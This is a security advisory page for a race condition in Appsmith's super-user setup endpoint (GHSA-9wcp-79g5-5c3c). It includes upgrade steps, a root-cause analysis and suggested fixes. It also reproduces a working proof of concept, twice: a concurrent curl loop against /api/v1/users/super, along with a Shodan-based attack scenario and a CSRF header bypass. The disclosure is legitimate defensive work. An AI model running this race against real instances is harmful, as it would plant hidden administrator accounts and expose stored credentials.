GHSA-9wcp-79g5-5c3c: Server Appsmith Super User Creation Race Vulnerability

HIGH
CVSS 8.1
CWE-367
Published
Advisory Summary

GHSA-9wcp-79g5-5c3c is a HIGH (CVSS 8.1) appsmith super user creation race vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting Server libraries in the Maven ecosystem. The issue involves appsmith super user creation race condition allows multiple instance administrators. Remediation is available by upgrading affected packages to version 1.99.

GHSA-9wcp-79g5-5c3c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-9wcp-79g5-5c3c
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product Server
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-9wcp-79g5-5c3c

To remediate this vulnerability, upgrade all affected Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

com.appsmith:server fixed: 1.99
<dependency>
    <groupId>com.appsmith</groupId>
    <artifactId>server</artifactId>
    <version>1.99</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=com.appsmith

How to Check if You Are Affected

To determine whether your Java application is affected by GHSA-9wcp-79g5-5c3c, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=com.appsmith

Analyze the terminal output to locate any version of Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.99), your application is affected.

Note: The mvn dependency:tree -Dincludes=com.appsmith command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges. ## Severity - **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition) - **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — **8.1 (HIGH)** ## Affected Version - Appsmith Community Edition v1.97.0-SNAPSHOT (release branch) - Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25) - Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef` ## Root Cause The `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270–295) performs a non-atomic check-then-act sequence: ```java // Step 1: CHECK — query MongoDB for existing users userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS)); } // Step 2: ACT — create user and grant admin (not atomic with Step 1) return signupAndLogin(user, exchange); }) .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user))); ``` The `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35–44) queries MongoDB without any locking mechanism: ```java public Mono<Boolean> isUsersEmpty() { return queryBuilder() .criteria(Bridge.or( notExists(User.Fields.isSystemGenerated), Bridge.isFalse(User.Fields.isSystemGenerated))) .limit(1).all(IdOnly.class).count().map(count -> count == 0); } ``` There is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly. ## Proof of Concept ### Environment Setup ```bash # Start a fresh Appsmith instance docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release # Wait ~90 seconds for all services to initialize ``` ### Step 1: Verify Fresh State ```bash curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool # Expected: {"data": {"email": "anonymousUser", ...}} ``` ### Step 2: Send Concurrent Requests ```bash for i in $(seq 1 10); do curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \ -X POST http://localhost:9090/api/v1/users/super \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "X-Requested-By: Appsmith" \ -d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" & done wait # Check results for i in $(seq 1 10); do echo "racer${i}: $(cat /tmp/race_result_${i}.txt)" done ``` ### Step 3: Verify in MongoDB ```javascript // Connect to MongoDB inside the container // docker exec -it appsmith-test mongosh <connection_string> // Count non-system users (expected: 1, actual: 10) db.user.countDocuments({ isSystemGenerated: { $ne: true } }) // Check who has manage:users permission db.user.find( { isSystemGenerated: { $ne: true } }, { email: 1, "policies.permission": 1 } ).forEach(u => { const hasManage = u.policies?.some(p => p.permission === "manage:users"); printjson({ email: u.email, manage_users: hasManage }); }); // Check Instance Administrator Role assignments db.permissionGroup.findOne( { name: "Instance Administrator Role" }, { assignedToUserIds: 1 } ); ``` ### Observed Results | Metric | Expected | Actual | |--------|----------|--------| | Users created | 1 | **10** | | Users with `manage:users` policy | 1 | **10** | | Users in Instance Administrator Role | 1 | **2** | All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction. ## Impact 1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests. 2. **Persistent Backdoor**: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list. 3. **Full Instance Compromise**: Instance Administrator privileges grant: - User management (create, delete, modify all users) - Access to all datasource credentials (database passwords, API keys) - Modification of all applications and their server-side logic - Environment configuration (SMTP, OAuth, encryption settings) ## Attack Scenario 1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning). 2. Attacker polls `GET /api/v1/users/me` — if the response contains `"email": "anonymousUser"`, the instance has not been set up yet. 3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests. 4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges. 5. Attacker now has persistent, full administrative access to the instance. ## Suggested Fix ### Option A: MongoDB Transaction (Recommended) Wrap the check-and-create in a MongoDB transaction to ensure atomicity: ```java public Mono<User> signupAndLoginSuper(...) { return reactiveMongoTemplate.inTransaction().execute(session -> { return userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(new AppsmithException( AppsmithError.UNAUTHORIZED_ACCESS)); } return signupAndLogin(user, exchange); }); }).single() .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user))); } ``` ### Option B: Distributed Lock Use Redis (already available in Appsmith's stack) to acquire an exclusive lock: ```java public Mono<User> signupAndLoginSuper(...) { return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10)) .flatMap(lock -> userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(...); } return signupAndLogin(user, exchange); }) .doFinally(signal -> lock.release())); } ``` ### Option C: Unique Constraint Add a MongoDB unique partial index that prevents more than one super admin: ```javascript db.user.createIndex( { "isSuperAdmin": 1 }, { unique: true, partialFilterExpression: { "isSuperAdmin": true } } ); ``` ## CSRF Note The `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99–102), which is a static, publicly known value.

GHSA-9wcp-79g5-5c3c Affected Server Versions

1 component(s)
Fixed Versions:
1.99
Product / Package Ecosystem Affected Versions Fixed Version
com.appsmith:server
Maven
< 1.99
1.99

References

Frequently Asked Questions

What is GHSA-9wcp-79g5-5c3c?
GHSA-9wcp-79g5-5c3c is a security vulnerability in Server involving Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which Server versions are affected?
Affected versions include releases prior to 1.99 across affected packages: com.appsmith:server.
What version fixes GHSA-9wcp-79g5-5c3c?
Upgrading to 1.99 (or the latest patched release for your respective branch) resolves the vulnerability.
Is server affected?
Yes, com.appsmith:server is affected in releases prior to 1.99. Upgrade your dependency to 1.99 or later.
What is the CVSS score of GHSA-9wcp-79g5-5c3c?
GHSA-9wcp-79g5-5c3c has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-9wcp-79g5-5c3c?
GHSA-9wcp-79g5-5c3c is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check Maven dependencies for GHSA-9wcp-79g5-5c3c?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.appsmith'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9wcp-79g5-5c3c",
  "modified" : "2026-06-12T18:27:53Z",
  "published" : "2026-06-12T18:27:53Z",
  "aliases" : [ ],
  "summary" : "Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators",
  "details" : "## Summary\n\nThe `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.\n\n## Severity\n\n- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition)\n- **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — **8.1 (HIGH)**\n\n## Affected Version\n\n- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)\n- Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)\n- Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`\n\n## Root Cause\n\nThe `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270–295) performs a non-atomic check-then-act sequence:\n\n```java\n// Step 1: CHECK — query MongoDB for existing users\nuserService.isUsersEmpty()\n    .flatMap(isEmpty -> {\n        if (!Boolean.TRUE.equals(isEmpty)) {\n            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));\n        }\n        // Step 2: ACT — create user and grant admin (not atomic with Step 1)\n        return signupAndLogin(user, exchange);\n    })\n    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));\n```\n\nThe `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35–44) queries MongoDB without any locking mechanism:\n\n```java\npublic Mono<Boolean> isUsersEmpty() {\n    return queryBuilder()\n            .criteria(Bridge.or(\n                    notExists(User.Fields.isSystemGenerated),\n                    Bridge.isFalse(User.Fields.isSystemGenerated)))\n            .limit(1).all(IdOnly.class).count().map(count -> count == 0);\n}\n```\n\nThere is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.\n\n## Proof of Concept\n\n### Environment Setup\n\n```bash\n# Start a fresh Appsmith instance\ndocker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release\n# Wait ~90 seconds for all services to initialize\n```\n\n### Step 1: Verify Fresh State\n\n```bash\ncurl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool\n# Expected: {\"data\": {\"email\": \"anonymousUser\", ...}}\n```\n\n### Step 2: Send Concurrent Requests\n\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /tmp/race_result_${i}.txt -w \"%{http_code}\" \\\n    -X POST http://localhost:9090/api/v1/users/super \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    -H \"X-Requested-By: Appsmith\" \\\n    -d \"email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false\" &\ndone\nwait\n\n# Check results\nfor i in $(seq 1 10); do\n  echo \"racer${i}: $(cat /tmp/race_result_${i}.txt)\"\ndone\n```\n\n### Step 3: Verify in MongoDB\n\n```javascript\n// Connect to MongoDB inside the container\n// docker exec -it appsmith-test mongosh <connection_string>\n\n// Count non-system users (expected: 1, actual: 10)\ndb.user.countDocuments({ isSystemGenerated: { $ne: true } })\n\n// Check who has manage:users permission\ndb.user.find(\n  { isSystemGenerated: { $ne: true } },\n  { email: 1, \"policies.permission\": 1 }\n).forEach(u => {\n  const hasManage = u.policies?.some(p => p.permission === \"manage:users\");\n  printjson({ email: u.email, manage_users: hasManage });\n});\n\n// Check Instance Administrator Role assignments\ndb.permissionGroup.findOne(\n  { name: \"Instance Administrator Role\" },\n  { assignedToUserIds: 1 }\n);\n```\n\n### Observed Results\n\n| Metric | Expected | Actual |\n|--------|----------|--------|\n| Users created | 1 | **10** |\n| Users with `manage:users` policy | 1 | **10** |\n| Users in Instance Administrator Role | 1 | **2** |\n\nAll 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.\n\n## Impact\n\n1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.\n\n2. **Persistent Backdoor**: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.\n\n3. **Full Instance Compromise**: Instance Administrator privileges grant:\n   - User management (create, delete, modify all users)\n   - Access to all datasource credentials (database passwords, API keys)\n   - Modification of all applications and their server-side logic\n   - Environment configuration (SMTP, OAuth, encryption settings)\n\n## Attack Scenario\n\n1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).\n2. Attacker polls `GET /api/v1/users/me` — if the response contains `\"email\": \"anonymousUser\"`, the instance has not been set up yet.\n3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.\n4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.\n5. Attacker now has persistent, full administrative access to the instance.\n\n## Suggested Fix\n\n### Option A: MongoDB Transaction (Recommended)\n\nWrap the check-and-create in a MongoDB transaction to ensure atomicity:\n\n```java\npublic Mono<User> signupAndLoginSuper(...) {\n    return reactiveMongoTemplate.inTransaction().execute(session -> {\n        return userService.isUsersEmpty()\n            .flatMap(isEmpty -> {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(new AppsmithException(\n                        AppsmithError.UNAUTHORIZED_ACCESS));\n                }\n                return signupAndLogin(user, exchange);\n            });\n    }).single()\n    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));\n}\n```\n\n### Option B: Distributed Lock\n\nUse Redis (already available in Appsmith's stack) to acquire an exclusive lock:\n\n```java\npublic Mono<User> signupAndLoginSuper(...) {\n    return redisLockService.acquireLock(\"super-user-setup\", Duration.ofSeconds(10))\n        .flatMap(lock -> userService.isUsersEmpty()\n            .flatMap(isEmpty -> {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(...);\n                }\n                return signupAndLogin(user, exchange);\n            })\n            .doFinally(signal -> lock.release()));\n}\n```\n\n### Option C: Unique Constraint\n\nAdd a MongoDB unique partial index that prevents more than one super admin:\n\n```javascript\ndb.user.createIndex(\n  { \"isSuperAdmin\": 1 },\n  { unique: true, partialFilterExpression: { \"isSuperAdmin\": true } }\n);\n```\n\n## CSRF Note\n\nThe `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99–102), which is a static, publicly known value.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.appsmith:server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.99"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 1.99.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-9wcp-79g5-5c3c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/appsmithorg/appsmith"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/appsmithorg/appsmith/releases/tag/v1.99"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T18:27:53Z",
    "nvd_published_at" : null
  }
}